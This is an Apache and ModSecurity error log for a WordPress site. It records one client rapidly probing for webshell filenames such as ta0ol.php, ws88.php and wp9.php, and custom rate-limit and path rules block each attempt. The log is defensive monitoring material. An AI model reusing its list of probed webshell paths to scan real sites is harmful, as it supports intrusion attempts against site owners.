[Thu Mar 26 16:52:22.469891 2026] [:error] [pid 31778:tid 31813] [client 4.232.84.11:65160] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acTzxg3kybI2o-xasmDfWgAAAdQ"]
[Thu Mar 26 16:52:23.011259 2026] [proxy_fcgi:error] [pid 31778:tid 31803] [client 4.232.84.11:65463] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:23.491998 2026] [proxy_fcgi:error] [pid 31778:tid 31817] [client 4.232.84.11:65463] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:23.730111 2026] [proxy_fcgi:error] [pid 31778:tid 31809] [client 4.232.84.11:65463] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:24.307966 2026] [proxy_fcgi:error] [pid 31778:tid 31807] [client 4.232.84.11:65463] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:24.590441 2026] [proxy_fcgi:error] [pid 31778:tid 31797] [client 4.232.84.11:65463] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:24.829206 2026] [proxy_fcgi:error] [pid 31778:tid 31810] [client 4.232.84.11:65463] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:25.099334 2026] [:error] [pid 31778:tid 31816] [client 4.232.84.11:65463] [client 4.232.84.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/app.php"] [unique_id "acTzyQ3kybI2o-xasmDfZQAAAdc"]
[Thu Mar 26 16:52:25.589159 2026] [proxy_fcgi:error] [pid 31717:tid 31729] [client 4.232.84.11:64904] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:25.824263 2026] [proxy_fcgi:error] [pid 31717:tid 31736] [client 4.232.84.11:64904] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:26.095357 2026] [proxy_fcgi:error] [pid 31717:tid 31735] [client 4.232.84.11:64904] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:26.331142 2026] [proxy_fcgi:error] [pid 31717:tid 31742] [client 4.232.84.11:64904] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:52:26.563812 2026] [:error] [pid 31717:tid 31739] [client 4.232.84.11:64904] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "acTzyr-SCF7YDISDX4_PswAAAZE"]
[Thu Mar 26 16:52:27.124632 2026] [:error] [pid 31670:tid 31687] [client 4.232.84.11:64941] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "acTzyzXVthXxCnWjOTRI-wAAAU8"]
[Thu Mar 26 16:52:27.678116 2026] [:error] [pid 60829:tid 60837] [client 4.232.84.11:64304] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "acTzy_TdjHKeZokybaSkrAAAAQY"]
[Thu Mar 26 16:52:28.147034 2026] [:error] [pid 31670:tid 31675] [client 4.232.84.11:65184] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "acTzzDXVthXxCnWjOTRI_wAAAUM"]
[Thu Mar 26 16:52:28.642300 2026] [:error] [pid 31670:tid 31688] [client 4.232.84.11:65170] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "acTzzDXVthXxCnWjOTRJAQAAAVA"]
[Thu Mar 26 16:52:29.258847 2026] [:error] [pid 31670:tid 31672] [client 4.232.84.11:64839] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "acTzzTXVthXxCnWjOTRJBAAAAUA"]
[Thu Mar 26 16:52:29.735821 2026] [:error] [pid 31778:tid 31793] [client 4.232.84.11:65182] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "acTzzQ3kybI2o-xasmDfZwAAAcA"]
[Thu Mar 26 16:52:30.262209 2026] [:error] [pid 19710:tid 19736] [client 4.232.84.11:64901] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "acTzzgVEWP8Ar68Njk7wfAAAAA4"]
[Thu Mar 26 16:52:30.828296 2026] [:error] [pid 19818:tid 19828] [client 4.232.84.11:65395] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "acTzzszaSnm3d1BeM5XL1wAAAMg"]
[Thu Mar 26 16:52:31.337938 2026] [:error] [pid 31780:tid 31845] [client 4.232.84.11:65422] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "acTzz5JDwZsy5O4ZXEh2IwAAAhg"]
[Thu Mar 26 16:52:31.809733 2026] [:error] [pid 31670:tid 31688] [client 4.232.84.11:65402] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "acTzzzXVthXxCnWjOTRJDgAAAVA"]
[Thu Mar 26 16:52:32.304371 2026] [:error] [pid 31670:tid 31678] [client 4.232.84.11:64633] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "acTz0DXVthXxCnWjOTRJEAAAAUY"]
[Thu Mar 26 16:52:32.916434 2026] [:error] [pid 19818:tid 19842] [client 4.232.84.11:64611] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acTz0MzaSnm3d1BeM5XL3gAAANY"]
[Thu Mar 26 16:52:33.462408 2026] [:error] [pid 31780:tid 31830] [client 4.232.84.11:65386] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acTz0ZJDwZsy5O4ZXEh2JQAAAgk"]
[Thu Mar 26 16:52:33.937345 2026] [:error] [pid 31670:tid 31683] [client 4.232.84.11:65107] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acTz0TXVthXxCnWjOTRJGwAAAUs"]
[Thu Mar 26 16:52:34.499397 2026] [:error] [pid 31670:tid 31681] [client 4.232.84.11:64832] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acTz0jXVthXxCnWjOTRJHQAAAUk"]
[Thu Mar 26 16:52:35.002991 2026] [:error] [pid 31717:tid 31722] [client 4.232.84.11:64292] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acTz07-SCF7YDISDX4_PtgAAAYA"]
[Thu Mar 26 16:52:35.556880 2026] [:error] [pid 31780:tid 31823] [client 4.232.84.11:64590] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acTz05JDwZsy5O4ZXEh2LgAAAgM"]
[Thu Mar 26 16:52:36.219641 2026] [:error] [pid 31670:tid 31683] [client 4.232.84.11:65088] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acTz1DXVthXxCnWjOTRJIgAAAUs"]
[Thu Mar 26 16:52:36.767870 2026] [:error] [pid 31670:tid 31689] [client 4.232.84.11:65156] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acTz1DXVthXxCnWjOTRJJgAAAVE"]
[Thu Mar 26 16:52:37.328386 2026] [:error] [pid 31778:tid 31807] [client 4.232.84.11:64952] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "acTz1Q3kybI2o-xasmDfaAAAAc4"]
[Thu Mar 26 16:52:37.806047 2026] [:error] [pid 31778:tid 31816] [client 4.232.84.11:65125] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "acTz1Q3kybI2o-xasmDfawAAAdc"]
[Thu Mar 26 16:52:38.466726 2026] [:error] [pid 31780:tid 31843] [client 4.232.84.11:65344] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "acTz1pJDwZsy5O4ZXEh2MgAAAhY"]
[Thu Mar 26 16:52:38.936945 2026] [:error] [pid 31780:tid 31830] [client 4.232.84.11:64652] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wander.php"] [unique_id "acTz1pJDwZsy5O4ZXEh2MwAAAgk"]
[Thu Mar 26 16:52:39.407529 2026] [:error] [pid 19818:tid 19832] [client 4.232.84.11:65457] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acTz18zaSnm3d1BeM5XL4AAAAMw"]
[Thu Mar 26 16:52:40.234527 2026] [:error] [pid 31717:tid 31734] [client 4.232.84.11:65204] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acTz2L-SCF7YDISDX4_PugAAAYw"]
[Thu Mar 26 16:52:40.722301 2026] [:error] [pid 31780:tid 31822] [client 4.232.84.11:64942] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acTz2JJDwZsy5O4ZXEh2OwAAAgI"]
[Thu Mar 26 16:52:41.209523 2026] [:error] [pid 19818:tid 19836] [client 4.232.84.11:65418] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "acTz2czaSnm3d1BeM5XL5QAAANA"]
[Thu Mar 26 16:52:41.679656 2026] [:error] [pid 31717:tid 31742] [client 4.232.84.11:64245] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acTz2b-SCF7YDISDX4_PvAAAAZQ"]
[Thu Mar 26 16:52:42.191454 2026] [:error] [pid 19712:tid 19794] [client 4.232.84.11:65204] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acTz2tWhKhRNqm23vFMQ_wAAAJI"]
[Thu Mar 26 16:52:42.662561 2026] [:error] [pid 31780:tid 31840] [client 4.232.84.11:65464] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acTz2pJDwZsy5O4ZXEh2PQAAAhM"]
[Thu Mar 26 16:52:43.133831 2026] [:error] [pid 31780:tid 31839] [client 4.232.84.11:64618] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acTz25JDwZsy5O4ZXEh2QQAAAhI"]
[Thu Mar 26 16:52:43.603868 2026] [:error] [pid 31778:tid 31805] [client 4.232.84.11:65163] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "acTz2w3kybI2o-xasmDfbwAAAcw"]
[Thu Mar 26 16:52:44.141794 2026] [:error] [pid 19710:tid 19731] [client 4.232.84.11:65452] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "acTz3AVEWP8Ar68Njk7wggAAAAk"]
[Thu Mar 26 16:52:44.614308 2026] [:error] [pid 31670:tid 31684] [client 4.232.84.11:65169] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "acTz3DXVthXxCnWjOTRJLAAAAUw"]
[Thu Mar 26 16:52:45.371415 2026] [:error] [pid 31717:tid 31744] [client 4.232.84.11:64286] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "acTz3b-SCF7YDISDX4_PvgAAAZY"]
[Thu Mar 26 16:52:45.957630 2026] [:error] [pid 31778:tid 31804] [client 4.232.84.11:64838] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acTz3Q3kybI2o-xasmDfeAAAAcs"]
[Thu Mar 26 16:52:46.446073 2026] [:error] [pid 60829:tid 60839] [client 4.232.84.11:65438] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acTz3vTdjHKeZokybaSktwAAAQg"]
[Thu Mar 26 16:52:47.245350 2026] [:error] [pid 19818:tid 19837] [client 4.232.84.11:64903] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acTz38zaSnm3d1BeM5XL8QAAANE"]
[Thu Mar 26 16:52:47.754203 2026] [:error] [pid 31778:tid 31808] [client 4.232.84.11:64956] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acTz3w3kybI2o-xasmDfgAAAAc8"]
[Thu Mar 26 16:52:48.229642 2026] [:error] [pid 31778:tid 31816] [client 4.232.84.11:65380] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "acTz4A3kybI2o-xasmDfhAAAAdc"]
[Thu Mar 26 16:52:48.889962 2026] [:error] [pid 31670:tid 31676] [client 4.232.84.11:64878] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "acTz4DXVthXxCnWjOTRJLwAAAUQ"]
[Thu Mar 26 16:52:49.464963 2026] [:error] [pid 19712:tid 19777] [client 4.232.84.11:65136] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "acTz4dWhKhRNqm23vFMRAwAAAIE"]
[Thu Mar 26 16:52:50.378879 2026] [:error] [pid 19818:tid 19828] [client 4.232.84.11:65465] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "acTz4szaSnm3d1BeM5XL9gAAAMg"]
[Thu Mar 26 16:52:50.921566 2026] [:error] [pid 19818:tid 19839] [client 4.232.84.11:65401] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "acTz4szaSnm3d1BeM5XL_AAAANM"]
[Thu Mar 26 16:52:51.455775 2026] [:error] [pid 19710:tid 19734] [client 4.232.84.11:65458] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "acTz4wVEWP8Ar68Njk7wiQAAAAw"]
[Thu Mar 26 16:52:51.935078 2026] [:error] [pid 19710:tid 19731] [client 4.232.84.11:65406] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "acTz4wVEWP8Ar68Njk7wjQAAAAk"]
[Thu Mar 26 16:52:52.440708 2026] [:error] [pid 19818:tid 19840] [client 4.232.84.11:65161] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "acTz5MzaSnm3d1BeM5XL_wAAANQ"]
[Thu Mar 26 16:52:53.287052 2026] [:error] [pid 60829:tid 60850] [client 4.232.84.11:65446] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acTz5fTdjHKeZokybaSkvwAAARM"]
[Thu Mar 26 16:52:53.776282 2026] [:error] [pid 19710:tid 19725] [client 4.232.84.11:65128] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acTz5QVEWP8Ar68Njk7wlAAAAAM"]
[Thu Mar 26 16:52:54.359873 2026] [:error] [pid 19711:tid 19766] [client 4.232.84.11:65117] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acTz5mj3l1y81GYfluSDugAAAFE"]
[Thu Mar 26 16:52:54.871873 2026] [:error] [pid 31780:tid 31820] [client 4.232.84.11:65138] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acTz5pJDwZsy5O4ZXEh2SAAAAgA"]
